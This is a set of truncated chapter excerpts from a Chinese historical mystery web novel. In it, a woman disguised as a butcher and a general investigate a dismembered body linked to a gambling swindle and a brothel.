她小心翼翼自柜子中取出三支降真香,就着桌上的烛火点燃,用手扇灭,躬身摆了摆。 随后跪在画像前,眼中迷茫与虔诚交织,在毫无波澜的湖面上泛起漩涡,绞杀干净这张脸上先前的平静。 “祖师,弟子给您请安。弟子此行是否凶险?” 与其说是祈愿,不如说是自语。 去年冬月里,南都有个小官,被一根簪子离奇刺死在家中。 她无意间对这案子上了心,却没想到这小官临死之前留下两个血字。 一曰“禹”,一曰“晋”。 几个月的分析推理下来,她终于确定那其中暗藏的意味,可大理寺卿却突然要她不许再查,大事化小小事化了,压下了这桩案子。 也就是查探的过程中,她和云江被赵家发现了踪迹,赵家为了迫害她,竟调查到了她们的家乡去。 皇帝下旨叫她杀猪的前夜,她们收到了母师来信,信中字字泣血,令人后怕, “母师知我徒于南都求存不易,故三年来惟有方今不得已,送信一封知会我徒,有人秘密来乡探查阿杰幼时之事。此事可大可小,泽水之困你二人亦可进可退。母师观阿杰流月不利,恐有灾祸,若仍向前,恐遭物腐虫生之蛊啃噬,尸骨无存。若今日回头,则地火明夷,仍有退路,凿坯而遁,母师携你二人隐入终南山,再不问世事。仙道贵生,千望万望,我徒亨利。” “泽水之困”“物腐虫生”“仙道贵生”……这些字眼时至今日想起来,仍是心惊肉跳。 行差踏错,便小命不保。 家乡有母师在,倒不会轻易叫人知道她的身份。 就怕赵家查不到什么,查到她幼时的家去…… 她追到禹城来,半月里寻不到任何线索,这几日趁着幽王的人将城内搅得天翻地覆,她也以此作掩护,抓紧了机会深入调查,还是一无所获。 她抬头望向面前那幅画像,上头的女神慈悲宽怀,香烟袅袅,直上九霄。 “母师,阿杰如今不知能否亨利。” 月色祥和,照得满墙晶莹璨亮,照亮那薄薄的一纸画像。 画像上头,一位头戴莲花冠、手持黄庭经的女神,画上题字:光明满月现慈容,清静玄风开正教。 原来紫霞元君魏华存是也。 - 鸡鸣破晓,朝霞赶月,天边红得像烧得滚烫的铁。 “叩叩” 谢明乾轻敲窗扉。 不多时窗前便多了一道纤长单薄的身影,直直立着,隔着窗纱看不真切,只道是雾里望月。 不见动静,谢明乾抬手,正欲再敲几下,听里间传来缥缈之音:“你跟身边那几个人天天走窗户,就这么见不得人。” 春二蹲在那棵雪白绚烂的高大梨树上,脚底一滑。 见不得人?有么? 谢明乾清了清嗓子,道:“胡屠户,有关的证人都传到县衙了,想来邀你一同去看看。” “嗯。”里面的人虚虚应了一声,“你们先行回去,我自会过来。” 谢明乾碰了一鼻子灰,但知她会前去,也算欣喜,闷闷地也“嗯”了一声,便打道回府了。 胡碟向肉铺告了假,甫一踏进县衙的院子,差点被满院子鸡飞狗跳的嘈杂声强挤出去。 县衙不大的院子里挤满了人,孤零零的几棵梧桐树下围满了遮阴聊天的大爷大娘,东缺一块西烂一块的墙根下还有几个稚童在玩闹。 “我早说了杨家那媳妇是个不下蛋的鸡,你看看吧,这么些年一点动静也没有!” “要我说还是老张头给他儿子找的媳妇好,人长得如花似玉的不说,手能挑肩能抗的,还能生儿子,真是不错。” “是是是,不像北街那家姓白的,取了个媳妇儿克夫命,活活把她家儿子给克死了!那年发大水去填堤坝,去了就被龙王一个浪卷走了,活不见人死不见尸,就这么一个金贵的独苗,你说,就被那媳妇儿给克死了。” “说起来,好几年没见到白家媳妇儿了……” “她呀,克死了丈夫就被婆家卖给村子里头一个老头了。” “这里是官府,低声些吧……” “怕什么,官府管得着么,这是人家家事。” 胡碟从唾沫横飞的闲话里挤过,被几个大爷推来搡去,骨头硌得生疼。 谢明乾看她踉踉跄跄被蹴鞠似的撞得分不清天南地北,一个箭步上前,和春二一人一边开道,顶开人群将她带进玄鉴堂中。 胡碟咬着牙没好气道:“叫你传人证,你怎么把全城的人都叫来了?” “没那么多,”谢明乾一本正经道,“我这不是怕有遗漏么,不过半个禹城的人应当是有的。” 胡碟见他没听懂自己的挖苦,气得冷笑一声,以手掩面,借冰凉的指腹降降眉心的火。 她花了些力气站稳身子,招招手:“春二,赶紧来帮忙。” 一抹碧色直冲着朝阳,矫健翻身下瓦,中气十足喊了声“来了”。 胡碟托春二等人搬来三把椅子,春二、春雨、破山三人一人坐一把,将证人按照醉鬼、酒鬼、色鬼的知情人分为三列,排在她们坐的椅子跟前。 她们三人最是熟悉这些天走访的证人,故而胡碟告诉她们,无需再盘问,只需凭记忆留下有关键证词的人,其余的人若知情较少或只是与三鬼熟识,却又不明了案发前后之事的,便可先放回家去。 徐友来给胡碟沏了壶茶,赞许道:“胡屠户此举甚妙,如今我们已掌握了三鬼的大致情况和性情,现下最重要的就是案发前后的事。” 胡碟低头饮茶,余光也没扫他一眼,他知道自己又多嘴了,赧然干笑几声。 谢明乾抱着手站在阴影下,将这一幕尽收眼底,眸光暗了暗。 “仵作何在?”胡碟喝了一杯茶,院子里人流还未减退,借这段空隙问一问仵作验尸的情况。 “在后间,仵作说尸块碎得太严重,拼起来可能得两三日,现在正验着呢。” 胡碟闻言垂下眼睫,计算了下时日:“若假定死者是被发现的前一晚遇害的,到今日是第四日了,如今春分已过,天气回暖,为防尸身腐败破坏线索,需得劳烦仵作加快些手脚。” 徐友来点点头:“明白。” 谢明乾默默听着,望着院子里吵闹的人群出神。 半晌,他犹豫地开口:“胡屠户,你说……我能 7. 第七章 《南都乃我掌中之物》全本免费阅读 谢明乾听了胡碟的话,紧皱的眉头渐渐舒缓。 他看向堂下的赌场老板:“他醉酒那日便是你最后一次见他了?” “那倒也不是,”钱老板讪笑道,“这么一说我想起来了,后来还见过一回。就是他被几个放贷的子钱家追着打,打得头破血流的。” “对了,那日他身上的酒气也是紫陈红!也不知道他哪儿来那么多钱,日日喝得起紫陈红。” 一个赌鬼,先是家财万贯,后又跌落浮泥,突然竟喝得起最贵的佳酿。 胡碟指尖轻如点水,点了谢明乾肩膀几下。 谢明乾得了她暗示,略微点头,示意一旁的破山:“我们对钱老板没什么要问的了,去传放贷的子钱家来。” 子钱家专找赌场门口双眼猩红的赌徒放贷,靠武力敛财,七八个大汉一进门便跪倒在地,一个个神情慌张恍惚。 “你们老大是谁?” 几个人你看看我我看看你,挤眉弄眼半天,没一个人站出来。 “问你们呢!”徐友来拍案。 一个额上系着红布条,五官粗犷的壮汉哆哆嗦嗦往前爬了一步,连连求饶. “要说老大,我们之间还真的不分什么大和小。我们兄弟几个不打不相识,那年在小绵子山结为异姓兄弟,那时便约定不分你我,富贵同舟,贫贱难离。别看我们做些放贷的活计,但我们都是劫富济贫,有时候东柏村的高老太太走不动路,我们还帮她请郎中,行侠仗义,无恶不作……不是,我、我、我们……” “行了、行了。”谢明乾头酸脑涨,食指撑着太阳穴,“就你了。” 那大汉顿时脸色青紫,嘴唇发白,憋了好长一口气说不出话来:“不、不,人不是我杀的。” 他慌里慌张抬掌扇自己的嘴:“不是不是,我们没杀人,真没杀人!” “我是说由你来答我的问题,没说要认定你是凶手。”谢明乾咬着牙,话语从齿缝挤出。 “真的么?”大汉一把鼻涕一把泪,“太好了,我就知道官府不会冤枉好人的。” “你说,你们怎么认识那赌鬼的?” 大汉吸了吸鼻子,道:“大概是……大概是……” 后头的人悄摸提醒道:“去年,去年的事……” “对,去年。我们哥几个是去年开始做这营生的,一去就碰见他,知道他是常客。当时他还穿得人模狗样的,我们也就把银两借给他了,谁曾想他一点也还不上。” “前几天吧,有个兄弟家里人生病了,实在没办法我们就去催债了,谁知道见了他还没说几句话呢,他便嘟嘟囔囔念叨什么‘都是你们害的’‘你们合起伙来害我’‘我要你们千百倍还回来’之类的话。” “见他醉醺醺的,我们也就没打算把他怎么着,结果他不知道哪里拿出根绳子说要勒死我……我们才打了他。” “但我们真没下死手!只是不小心打破他的头,流了些血看着吓人,可他离开的时候还好好的,酒也醒了,走路走得飞快。” 谢明乾抬眼,胡碟正凝眸沉思,四目相对,眼底的复杂都深了几分。 他道:“好,我信你,你回去吧。” 玄鉴堂一下空荡起来,几缕清风悠悠摇晃着。 胡碟徐步走开,缓缓道:“这赌鬼原本财帛丰厚,突然之间沾了赌一落千丈,心里恐怕常常哀怨。” “故而他觉得有人故意害他至此,怨天尤人,才说了那些话么。”徐友来思索道。 “恐怕不是觉得,而是确有此事。”胡碟道,“一个人若沾赌,多数时候都是被身边之人所影响,所以他若是突然反应过来有人刻意是他输得分文不剩,也不奇怪。” “原来是这样。”徐友来道。 “要紧的在于,他认为是谁害了他?他潦倒度日那么些年,是一直知道有人害他,还是突然知晓?这几件事和他案发前几日都能喝上紫陈红又有何关联?知道这些,才可推出他可能的下落。” 徐友来听明白了,便打算叫人去带人证,恰巧这时来了个小卫士,耳语向他讲了些话。 胡碟对守在一旁的春二道:“此事颇为要紧,需得要个有些头脑的人去办,春二姑娘,还得麻烦你...跑一趟,去找找赌鬼从前的邻居,问问他们赌鬼的事,尤其是他怎么发财、怎么堕落,这次要事无巨细。” 只是奇怪,没见一向在春二身旁的阿九。 春二一听自己是那个被选中的“有头脑的人”,展开笑颜点头应下。 这时春雨却主动说:“我去吧。”便转身离开,春二追上前去也没拦住他。 胡碟看着垂头丧气的春二,无奈道:“算了,你与酒鬼的妻子相熟,便同我一起去找她吧。” 春二收了丧气,由阴转晴,开心得跳起来,轻功飞身上房梁,嘴里喊着:“太好了!” 徐友来这时急匆匆道:“诸位,仵作那边有了些进展,咱们前去看看!” 堂内张张苦涩紧绷的脸皆喜出望外,抬脚就往后间走。 春二从房梁上猫下来,跟了上去。 - 幽暗寂静的敛房内,尸身四肢已被拼接起来,整齐摆放在白布之上。 胡碟见了这场面,想起自己平日里卖的猪肉也是这般码放,加之闻见那捂人鼻息的尸臭,指尖微微颤抖着捂住口鼻。 她走在最前面,转身伸出劲瘦的纤长胳膊拦住了身后的人。 “大家不必去看,只听仵作如何说便是。” “呲” 仵作在敛房里烧了一瓢醋,腾起的雾飘摇围绕周身,道:“你们去旁边小房子里待着,待我收拾好就过来。” 春二不信邪想进去看看,刚走近一步便跟被雷劈了似的,捂着嘴面色如霜地逃了回来。 云逸杰道:“我们暂时不必确认尸身,如今仵作验尸也才行进至半途,只需通过一些特征排除他的身份即可。” 谢明乾握住剑柄,郑重其事答“好”。 “你们先说说,要寻的人大概是什么样子。”胡碟道。 谢明乾犹豫道:“我们未曾见过他,只知他家里世代都是采药郎,那狸猫坠子是他家传之物,十分特别。” “采药郎……”胡碟指腹摩挲着袖口,喃喃念着这个词,思考着什么。 她道:“采药郎常年与药材打交道,身上有很浓重的药味。可是碎尸之后血腥味和尸臭交杂,根本辨认不出。” 谢明乾道:“那岂不是无法判断了?” 胡碟专注思考着,定定摇头,轻缓道:“未必。他年龄几何?” “约莫四十多岁。” 胡碟垂眸,而后坚定望向他道:“等仵作的结果。” 谢明乾看着她泛着光泽的黝黑眸子,有些恍惚。 胡碟的那双冷眸,素日里冷静,但当她真正着一个人时,却充满了温热的力量。 他捏紧了拳头,坚信前路如今日之阳光,耀眼澄澈。 “各位大人久等。” 仵作进门,这间小小的屋子里 8. 第八章 《南都乃我掌中之物》全本免费阅读 春分过后,日落月出时分仍旧寒凉。桃红嫣嫣,翠柳青青,低飞南归燕。 转过东街口菜市场,便踏上东街。 “就快到了,”春二道,“不过,方才天上比我的面皮还干净,这会儿怎么飘起乌云来了。” 一路上春二遇见桃花便要爬上去瞧瞧,遇见梨花便要站在树下听风吹雪。 没想到一转过东街口,黑云如泼墨画似的蒙上一层薄纱,低低的直压到一棵红艳桃花头上去。 胡碟抬头幽深看了一眼天,一张脸云淡风轻似在想什么很久远的事,又好像只是看看。 她道:“快些走吧,恐要落雨。” 谢明乾提着剑跟在后头几步,也道:“是啊,燕子低飞要落雨。也是运气不好,咱们刚要到人家门口便要落雨。” 他将追查采药郎的事交给破山和春雨去办,自己说要伸张正义,来瞧瞧胡屠户怎么大显神威破奇案的。 胡碟那时浑不在意讲了句“随你”,便任由他跟着了。 “到了到了!”春二指着前面一处宅子,“那便是许姐姐的家了!” 她飞身上前去敲门,“咚咚咚”下手有些重,一道细弱轻柔的声音隔着门板,急切又担忧道:“来了。” “抱歉,手劲儿大了些。”春二抿着唇,双颊漫上绯红。 “春二姑娘,不要紧的。”她说着话,温声细语带着一丝断断续续漂浮的颤动。 面前瘦瘦小小的女人穿着简单,通身泛黄的粗布,却是干净硬挺窄袖短裳,扒在门上的几根手指,指尖满是斑驳错落的发黑皲裂。 一块湛蓝的棉麻布巾将她的头发一丝不苟从额前收到脑后,只留出几缕柔软的额发,缠缠绵绵地飘着。妇女们为了劳作时头发少些脏乱,常常做这种打扮,胡碟在南都时也是常见到的。 她抬头,一张小巧的瓜子脸,五官柔和细腻,嘴角的笑意温柔和善,难怪春二和她亲近。 那双眼睛,让胡碟心上一颤。 她的眼仁儿似一颗小小的樱桃核,在吃力缓缓张合的眼睫中怯生生望向你,又不动声色收回,晃动得沙沙作响。 何其熟悉的眼睛。 曾经在南都也见过无数这样的眼睛。 许梅香望见春二身后还有两个男人,有些犹豫道:“你们请进吧。” 这座小宅的门“吱呀”缓缓打开,胡碟抬脚踏进,院子里被黑云的阴影袭盖,恍惚想起离开南都那日,亦是如此,天光微亮,遭黑暗缝隙吞噬。 许梅香将他们请进屋子里,里头有些破败,虽整洁却多少阴寒,昏昏沉沉叫人看不清。 胡碟有些意外,那日指认她的李大娘竟也在,看见她便不自然地别开了眼。 “要我说啊,你们家儿子得抓紧找着,要不行就跟我上灵台寺去拜拜去。” “哎哟,”一旁歪斜倚着酒鬼家的老太太,捂着脑筋直叫唤,“李大娘你是不知道啊,那年上云台寺合八字,大师就说我们家儿子成了亲性命不保,你说这怨谁啊……” 许梅香小心翼翼走过去,低声道:“婆母,县衙的人来了……” “县衙的人来了?可是我儿有消息了!”老太太喜极而泣,帕子捂着脸站起身,绕过春二跟没看见她似的,拉住谢明乾的手,浑浊的眼睛泪水直流,“县太爷啊,天菩萨啊,你们可算找到我儿子了!” 春二呆呆站在原地,不知所措地攥住了衣角。 胡碟缓而有力地拍拍她的肩膀,小声安慰道:“没事。” 谢明乾道:“老太太,你是洪盛的母亲吧。” “诶,洪盛正是我儿。” “是这样,”谢明乾悄悄望了胡碟一眼,有些艰难地开口道,“我们来呢,是想确认一下您儿子是否是前几日的死尸。” 老太太闻言眼睛都没眨一下,直勾勾盯着谢明乾皱起了鼻子,道:“什么?” 谢明乾以为她真是老了听不清,准备将先前话语再讲一遍:“我是说啊……” 老太太皱巴巴的脸以一种诡异的姿态歪斜着,睚眦欲裂,就在谢明乾专心讲话的空隙,一下转身扑向许梅香,一巴掌扇过去。 “都是你这个扫把星!自从你进门,我儿就无一日安宁,我早知你要把他克死!” 许梅香身子单薄,人又瘦小,一巴掌打下来跟个毽子似的,又快又轻“嗖”地一下摔到了墙角,饶是春二伸手去扶,也只抓住她轻飘飘的衣角。 待到把人扶起来,脸上多了个烙铁烫上去似的巴掌印,嘴角渗出丝丝鲜血,好在额上有那片湛蓝棉麻布包着,幸免于难。 春二眼睛一红,珠儿似的眼泪滚了下来:“许姐姐,你没事吧……” 许梅香呛咳了几声,虚弱地抬起手,抹去春二脸颊上的泪珠,扯出个艰难的笑容:“春妹……妹,不……哭了……” 洪家老太太被李大娘拉着,仍不放过:“我叫你去报官你不去,非要说他只是出门去了,我看你就是想把他害死才够!你就是想要我儿子死!” 胡碟方才也想伸手拉许梅香一把,忽地想起自己如今是个男儿身,捏住袖子硬生生忍了下来。 她以此身去搀扶,恐怕多生事端。 “轰隆”一声,雷声震天。 窗外豆大的雨点倾盆而下,雨声混着雷声敲锣打鼓。 伴着一道划破黑暗的闪电,胡碟第三次见到谢明乾拔出了那把气势汹汹的剑。 剑身银光锃亮,刻着绵延起伏的山脉纹路,刻画细致,山势却又十分壮观,上有祥云缭绕。 此剑一出,半个屋子都亮了。 谢明乾如同他那把剑一般张扬,将剑横在许梅香身前,开口掷地有声:“阻挡官府办案者,休怪这把当关剑不客气。” 剑阁峥嵘而崔嵬,一夫当关,万夫莫开。 此剑一出,势如破竹。 洪老太太被这剑气所惊,噤了声,一口气深吸进去,翻着白眼作势要晕。 谢明乾“唰”收了剑,转身道:“春二,扶你许姐姐到这边坐。” 于是十分祥和而怪异的,一间小小的屋子里,东南角和西北角各坐了一堆人,谁也不搭理谁。 屋外雨声阵阵,湿润的泥土香钻了进来,窗边的一方小桌,胡碟面前茶盏升起袅袅 9. 第九章 《南都乃我掌中之物》全本免费阅读 在洪老太太看来,谢明乾就是个奸夫的样。 搀扶着她的李大娘也这么想。 长身玉立,九尺高的身量,信步款款。一张玉面透着晨曦般的少年气,紧实的小臂孔武有力。 有了这样的奸夫,许梅香自然顾不上她家傻儿子了。 旁边那个小白脸虽然文弱些,但七尺高的身量,令人仰视的清冷之姿,也如云中白鹤一般。 另外那个小姑娘才是最令人发指,公然插手官府之事,简直放肆。 “你说,你是不是偷汉子偷到官府去了!”洪老太太指着许梅香,恶狠狠道。 许梅香看了看自己身旁的两位大人,明白婆母是又开始使性子了,无奈却还低眉顺眼道:“婆母,我与这两位大人素不相识,您何必把话说的那么难听呢?” “难听?”洪老太太惨白的脸上挂着泪,“你们把我儿子都害死了!你还好意思说他不务正业,我都听见了!我告诉你,伺候我儿子是你该做的,你就该服侍他!” “婆母,”许梅香焦急道,“洪盛他兴许还活着,现在还没确认他是死了,您何必忧心至此。” “我儿子要么被你们害死了,要么被你们逼走了!不然他怎么可能不回来!”洪老太太捶着膝盖,失声哀嚎,“就是你们害的,你们堂堂官府,叫一个女子来查案,怎么敢的?那可是要害死人的!” 她抄起桌上的茶盏,朝春二扔过去。 春二后知后觉明白过来她在说自己,一下子慌了神,竟躲也不知道躲一下,茶盏重重砸在她锁骨上,一个踉跄。 胡碟轻轻从背后扶住她:“没事吧?” 春二失神捂住胸口,看见扶住自己的纤细长指如颤抖的竹节一般隐忍着收紧,道:“没、没事。” 胡碟扶住春二,望见谢明乾额上青筋暴起,剑柄指着洪老太太,怒声道:“我乃朝廷亲封的骠骑大将军,战场上杀人如割草。春二这姑娘是我的侍卫,伤了她,我将尔等就地斩杀也不是问题!” “你儿子游手好闲,醉了酒还要打人,我们尚且没追究他偷盗财物,他行径如此恶劣,死了也是活该,怎可轻飘飘几句话就用女子托赖!” 他说了胡碟心中没说出来的话,振聋发聩,她却只觉心中悲戚。 为何他能如此光明正大地说出这番话呢? 是因为他皇天贵胄,手握权柄。 还是因为...他是个男子。 可是她不是已扮作男子了么,为何仍无法开口呢。 或许是因为她现下扮作屠户,少了几分底气吧。 许梅香听了谢明乾的话,胸膛猛烈起伏着,红了眼,可始终将泪水含在眼里,对洪老太太道:“婆母,你说的话,实在叫梅香难以忍受……” 李大娘一直闷声不吭,这会儿却像闻到什么腥臭味儿,实在忍不了似的,就差捏着鼻子,貌似斟酌地开口:“洪家媳妇,不是我多管闲事,你婆母还真就没有冤枉你,你和那秀才的腌臜事,可是我亲眼瞧见的……” 许梅香声音微微颤抖:“我与哪个秀才不清不楚?李大娘你怎么血口喷人呢?” 李大娘别过脸,跟看了什么脏东西似的:“还能是哪个秀才,不就是那个流连烟柳之地的穷酸教书先生么,对了,他现在连教书都没人听了,你说你何必为了他害了自家男人,洪盛再不好,你们也是拜过了天地的夫妻啊。” “半个多月前,我到你家找老太太,碰见你和那个秀才在门前拉拉扯扯,我瞧得真真的……” 许梅香受了天大的委屈,泣不成声:“他说与洪盛熟识,我却从未见过他,见洪盛不在家,便叫他改日再来,在你眼里就是荡/妇么……” 雨声转小,淅淅沥沥地打在瓦片上,屋内只听见许梅香断断续续的抽泣声。 一道清冷的声音如溪流般,缓缓又清脆地响起。 “敢问李大娘,什么人算作是荡/妇?” 天色黑如墨,屋内彻底暗了下来,叫人瞧不清这声音的主人。 许梅香吸了吸鼻子,点起了蜡烛。 李大娘道:“哟,胡屠户,你虽是个使杀猪刀的,但我也看得出来,你肚子里恐怕有些墨水,也会念几句人之初啊,之乎者也的。” “可是我一个妇道人家,没读过书,”李大娘两手一摊,“你要问我什么是,什么不是,那真是问错人了。” 烛光映着胡碟的半边脸,她少见地提起嘴角,冷笑一声:“既不知所以然,为何说起这话来一点也不脸红。” “李大娘没读过书,不知道什么是□□,可圣贤书里确实是说得多,女子三从四德,什么做得,什么做不得,这点你还真没说错。” 她背起手,抬起脖颈望向屋顶,鹤鸣般长长地叹息一声:“本朝鼓励《女诫》,其实不是在书本上,而是在人心里,不必读什么书,女子一呼一吸,一颦一笑都是《女诫》在宣言。” “这么说来,李大娘张口就能用《女诫》一般的言语给别人定罪,也算是才比仲尼了。” 李大娘讪讪地笑,酸溜溜道:“你平日话都不多说一句,今日却能说会道,我说不过你。” “雨停了,我们要走了。” 胡碟走至门前,却转过头,脸上神情讳莫如深:“洪老太太,你儿子生死未明,我劝你,对许梅香好些,否则她一生气真把你儿子克得死无全尸了,那可说不准。” 洪老太太碰倒了桌上的杯子,碎裂的声响炸破,哆嗦道:“你……你们” 谢明乾安静看着胡碟此举,沉默抬脚跟了上去。 - “可伤到了?”胡碟问。 几人回县衙一齐用了饭,因着春雨仍未归来,便在玄鉴堂围坐。 春二抱着许梅香悉心包给她的海棠糕,神色恹恹道:“自小习武,这点小伤不碍事的。” “自小习武还被个杵拐杖的老太太打着了?” “就是。”谢明乾用一方雪白的绸缎擦拭着当关剑,有些戏谑道,“你和你哥哥春雨一样是专责千里传信的暗卫,身手敏捷,动作轻盈是你们的特长,怎会连个茶杯都躲不过?” “我……”春二耷着眼皮瞟她们一眼,有些委屈道,“她说叫我去查案是要害死人的,我十几年都跟着将军,上阵杀敌也做得,什么叫我会害死人啊,没听过那么难听的话。” 胡碟张张嘴,不知该说什么。 “你管她呢, 10. 第十章 《南都乃我掌中之物》全本免费阅读 “白玉盏……”胡碟低眸看着茶水上的浮沫,喃喃道。 “就是许姐姐说的那个白玉盏!”春二讶然。 “这诸多的共同点,不是巧合,而是阴谋。”胡碟面色深沉,踱步至玄鉴堂那张朱红的霸王桌,铺好一张宣纸,笔尖点墨,明灭烛火照亮漆黑的墨迹。 “我们来看看这三个鬼。” 她抬头,火光在深潭一般的眸子里摇曳:“最先是谁?” 春雨收起那副吊儿郎当的样子,正色道:“是赌鬼。” 胡碟直视着他,目光坚定,如惊堂木拍响一般干脆地点头,写下两个大字:“好,赌鬼先行。” 烛芯“噼啪噼啪”,掌声一响,好戏开场。 四人头挨着头,身旁是无边漆黑,烛光灼灼却幽幽,仿若在等待一场盛大的祭祀,只等胡碟动笔,招魂引魄,谜案水雾开山。 “赌鬼早几年便发了财,此事尚不清楚,但我们可以确定,他是一年前,也就是去年春,开始沾赌,为了还赌债变卖家产,家破人亡。” “变卖的其中一物,是妻子的陪嫁,白玉盏。” “而案发的春分前后,穷困潦倒的他竟然喝起了一等一的佳酿紫陈红,而且还是醉红轩的紫陈红,并且我们猜测,他认为自己欠赌债是有人蓄意谋害。” 胡碟手腕悬空执笔,指尖如青竹刚劲,一朝写尽,已是笔枯如柴裂,她气定神闲,从容将笔捻进墨碟,吸饱了墨汁,那笔肚圆圆鼓鼓,一个威风的常胜将军。 谢明乾添了一小勺水,替她研磨。 “再是谁?”胡碟问。 “是酒鬼。”春二道。 “酒鬼不务正业,醉酒爱打人,没什么收入。可同样的一年前,赌鬼卖了财宝,酒鬼却拿了些金银珠宝回家,从此竟有些吃穿不愁之意。” “其中最引人注意的,也是白玉盏。” “赌鬼手上的财宝,到了酒鬼家里?”谢明乾深吸一口气,发现了什么大秘密。 “暂且可以这么假设,但咱们先按兵不动,继续往下。” 胡碟继续道:“且他很可能就是死者。” “什么?”春雨瞪大眼睛,“从何判定?” “简单。”胡碟道,“仵作说死者正值壮年,这一点三鬼都能对得上。可死者四肢强健,平日劳动不少,赌鬼跟个行尸似的,不可能是他,色鬼是个秀才,也不太可能。而酒鬼是打渔的,四肢强健便可以说得通了。” “是,没错,”春二道,“许姐姐说,酒鬼洪盛身体强壮,是以打起人来从不手软。” 春雨回忆道:“赌鬼确实是个干巴行尸,破山也说,色鬼文文弱弱,白面小生,就是他见过的穷酸书生样。” “你……又指桑骂槐地说胡大哥……”春二幽幽道。 “我……我、我没有!”春雨百口莫辩,涨红了脸望向胡碟,“我、我,我从未!” “行了,说正经的。”谢明乾道,“如此说来,以白玉盏为线索,这财宝是从赌鬼手上到了酒鬼手里,酒鬼也是个不务正业穷得叮当响的人,这白玉盏绝不会是他买来的。那如果是偶然得来的,又和他被杀有何关联?” “偶然得来……”胡碟略作思索,“所谓偶然,恐怕不是偷,就是骗。” “我想,那赌场老板或许说了谎……”她道。 “你们可曾听说过,有人专门做局,诱人去赌场,与赌场庄家合伙,将人骗得身无分文、倾家荡产。” 春二和春雨对视一眼,还有这种局! 谢明乾一拍桌子:“这样就说得通了!酒鬼和钱老板合起伙来骗了赌鬼,这才把分得的财宝拿回了家,后来赌鬼意识到事情不对,便明白过来,是那两人合伙坑害了他!” “嗯,”胡碟点头,“那子钱家说,他们与赌鬼起争执时,赌鬼嘴里念叨的,确实很像是知道了自己被骗后的愤愤之言。” “那这么说来,”谢明乾道,“此案便是赌鬼报复杀人?” “可是……” 胡碟轻轻摩挲着下巴,定定地望着那烛火:“那红布呢?” “红布?” “春分那日,你不就是凭的一块红布将我抓起来么,这么快就忘了。” 谢明乾呆呆望向胡碟,瞧出她那双清冷的眸子里带了几分戏谑。他想起那日莽撞抓人,最后发现自己漏洞百出,俊朗的脸上浮起一层绯红。 好在那日没惹怒了胡碟,他还愿意帮帮他。 一瞬之间,他想起派出去的阿九,心中有些忐忑,遂低下了头。 “记……记得。” “如果这件案子只是关于赌鬼的复仇,那么为何色鬼偷走的海棠红提花绸会出现在案发现场,难道他也同我一般,半道上把这布丢失了不成。” “对啊。”春二道,“我们最先怀疑的凶手,不就是那色鬼么?” “况且,赌鬼醉生梦死整整一年,日日在赌场老板面前打转都未发觉自己被骗,怎的突然开窍了。” 胡碟仰头,意味深长地自语:“是谁提醒了他呢?” 她环视三人一眼,问:“你们说这三人里,与紫陈红联系最深的,是谁?” 谢明乾恍然大悟,终于看清了迷雾背后的人:“是、是常去醉红轩的色鬼!” “这就对了。” 胡碟手定在半空,笔尖的墨越积越多,“吧嗒”砸下一粒圆当当的墨珠。 她扯起一丝饱含深意的笑,直视着前方黑暗,仿若眼光穿透黑无涯际的虚空,直奔向那罪犯的心底。 “自然是疑点重重,先被怀疑是死者,后又因偷了海棠红提花绸被怀疑是凶手,被李大娘亲眼看见去酒鬼家,声称自己与酒鬼相识,可许姑娘却说从未见过的。” “色鬼。”两个字从胡碟齿尖泄出,带着森森寒气。 “若真如我们推断的那般,如今的症结就在——” 胡碟散漫地抬手,似白鹤轻轻指路,随意一指。 “醉、红、轩。” 这时徐友来一身素净的衣衫,未穿官袍,跌跌撞撞跑进来:“仵作那边又有结果了!” 他接过春雨递过来的一杯茶,几口饮尽,一口气讲到底:“仵作说,死者肩胛骨上,有一块三瓣花形状的胎记,青灰色,指甲盖那么大。” 春二拽着胡碟的袖子,激动得说不清话:“就...就是这个许姐姐说了,酒鬼肩上有一块指甲盖大小的胎记!” “那形状呢,”胡碟问,“形状可一样?” “这个她没说,”春二摇摇头,“要不我去问问她?” “好,辛苦你,现在就去,顺便 11. 第十一章 《南都乃我掌中之物》全本免费阅读 那老板的声音极尽缠绵婉转:“跟我来二楼。” 而后对二楼道:“四位贵客,上茶。腾出敛字号来。” 胡碟周身似冻住一般,但也只是一瞬,她便回神,看见那老板的后脑勺渐渐模糊远去。 二楼凭栏处。 阿樱姑娘年纪不大,一双亮亮的桃花眼,小巧的鼻尖点缀了一颗小痣。 她拿着把金丝鸳鸯团扇,咬着下唇,被徐友来吓得畏畏缩缩不敢抬头。 胡碟拦住徐友来,让他别吓着人,谢明乾见状,也让开身。 说好了今日只是随便问问,何必拿出官府威严到一个不相干的人面前显摆。 她上前温声道:“阿樱姑娘莫怕,只问你几个问题,知道什么便说什么。” 阿樱抬眼看了看这位冷眼低眉的大人,信赖于他的和蔼,小小地点了点头。 “那色鬼王俊生,常来找你喝酒?” 阿樱道:“是。” “春分前后的事,你可还记得?” 阿樱闻言,眼神有些躲闪,一丝羞赧浮上脸颊:“我记得的,上次有位小哥来问过,我那时脑子有些糊涂,只想起他偷了我的衣料,把其他的事给忘了,我后来细细地想,他那日来的时候,是和另外两人一起的。” “两人?”徐友来激动得胡子抖起来,“可是一个身材健硕一些,一个穿得邋里邋遢?” “是、是。”阿樱回应。 “确切地说,大概半个月前,他带了那个邋里邋遢的人来喝酒,后来快到春分的时候,我记得那天天气还有些凉,他又带了那个人来,一连来了几天,最后一次来便是他偷我的海棠红提花绸的那晚,那个身材健硕的人,也一起来了。” 闻言,胡碟一下停住呼吸,攥紧食指。 是了,这串珠子,已经完全穿好了。 “多谢阿樱姑娘。” 戏已做足,胡碟提起衣摆,志满意得站起身,嘴角的弧度还没提起来,窗边跳下来一道碧色的身影。 春二蹲在窗户上,神色匆匆,急得眉毛要被火烧一般:“许姐姐说她见到的茶盏确实有个苏字!” 谢明乾道:“果然!” “可是她说,”春二拧着眉,“洪盛肩上没有胎记,是我听错了!” 什么? “这怎么会?”胡碟看向春二,眼中有些许不可置信破冰而出。 “可她上次说得明明白白,我不可能听错的!” 胡碟转身扶住二楼的栏杆,往下看了一眼,她本想趁机会拜访一下醉红轩老板,如今却犹豫是否即刻去一趟酒鬼家。 这一眼,几乎要站不稳。 一楼那个紫色外衫的,那个拿着把酒壶的,那个弹琴的,还有刚刚的老板娘,都是。 这里的姑娘,头上都有一支一模一样的金簪。 春二自窗上一跃而下,抓住胡碟肩膀,问:“你怎么了?” 胡碟虚虚扶着二楼的栏杆,摩挲着光滑的漆面,指尖传来阻塞的触感,清醒了不少。 她轻轻喘着气,回神道:“没事。” 春二看着她,清淡的眼睫有些黯淡,拉住她手肘将她半边身子架起来,看向谢明乾。 